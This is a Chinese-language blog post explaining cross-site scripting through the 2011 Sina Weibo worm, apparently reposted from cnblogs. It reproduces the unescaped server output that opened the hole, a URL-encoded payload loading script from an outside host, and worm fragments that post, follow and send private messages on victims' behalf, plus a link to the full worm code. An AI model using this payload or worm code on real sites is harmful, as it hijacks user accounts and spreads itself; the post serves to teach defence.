XSS-從weibo蠕蟲事件學習


    XSS攻擊:跨站腳本攻擊(Cross Site Scripting),為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆。故將跨站腳本攻擊縮寫為XSS。XSS是一種經常出現在web應用中的計算機安全漏洞,它允許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。

     

    Xss的例子(以新浪微博的6.9的hellosamy蠕蟲事件為例):

     

    sina的名人堂頁面頁面上存在這么個鏈接

    <a href="http://weibo.com/pub/star/g/123">這個是xss</a>

     

    其實在服務器端是這么寫的(猜測,真實代碼長啥樣不知道,但是一定是忘記做轉義就輸出了):

    Echo '<a href="http://weibo.com/pub/star/g/{$uname}">這個是xss</a>'

     

    其中uname並沒有做htmlspecialchars。相當於是直接由用戶輸入,然后輸出在頁面上了。

    這樣的html就是存在xss漏洞

     

    好了,這個漏洞被發現了,下面要利用它做什么呢?

    1 將uname設置成xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update

    這樣這個url就變成了

    clip_image001

    其中的引號被封閉了,然后這個頁面自動運行了一段js腳本

     

    這個js腳本做了這樣的事情:

    1 發送一個微博(這個是之所以成為蠕蟲的原因,這個微博中附帶着同樣的一個連接)

    2 加關注uid為2201270010

    3 發私信,向好友傳播鏈接

     

    js的下載代碼在http://www.stwind.org/wp-content/uploads/2011/06/06.28_sina_XSS.txt.zip

     

    try{
    
    x="g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)";window.opener.eval(x);
    
    }
    
    catch(e){}
    
    main();
    
    var t=setTimeout('location="http://weibo.com/pub/topic";',5000);

     

    其中就是在打開的頁面加入了<script節點>,並執行

    main中是發送微博,加關注,發私信三個動作

    當5000秒后,當前頁重新定位到public/topic上

    function main(){
    
    try{
    
    publish();
    
    }
    
    catch(e){}
    
    try{
    
    follow();
    
    }
    
    catch(e){}
    
    try{
    
    message();
    
    }
    
    catch(e){}
    
    }
    比如

     

    function publish(){
    
    url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime();
    
    data = 'content=' + random_msg() + '&pic=&styleid=2&retcode=';
    
    post(url,data,true);
    
    }

    模擬post請求,由於這個js是在weibo網頁上調用的,所以就沒有跨域問題

     

    直接post就可以產生這個效果

     

    注:這次事件中還用到了短鏈接服務

    短鏈接服務能自定義用戶鏈接,比如http://weibo.com/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update

    這么長一個鏈接能變為http://t.cn/atmcqn

    這樣能增加用戶的點擊成功率

     

    事實證明,建站是需要非常小心的,每個頁面,每個輸出,如果有一兩個漏洞,都可能造成全站的大災難!!引以為戒!

     

    相關有用的鏈接地址:

    http://soft.yesky.com/security/156/30179156.shtml

    http://www.youxia.org/2011/12/XSS-RootKit.html

    http://www.youxia.org/2010/04/Anti-XSS.html

    http://blog.sina.com.tw/gn00502101/article.php?pbgid=103224&entryid=604456

     

    ----------------------

    作者:yjf512(軒脈刃)

    出處:http://www.cnblogs.com/yjf512/

    本文版權歸yjf512和cnBlog共有,歡迎轉載,但未經作者同意必須保留此段聲明


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM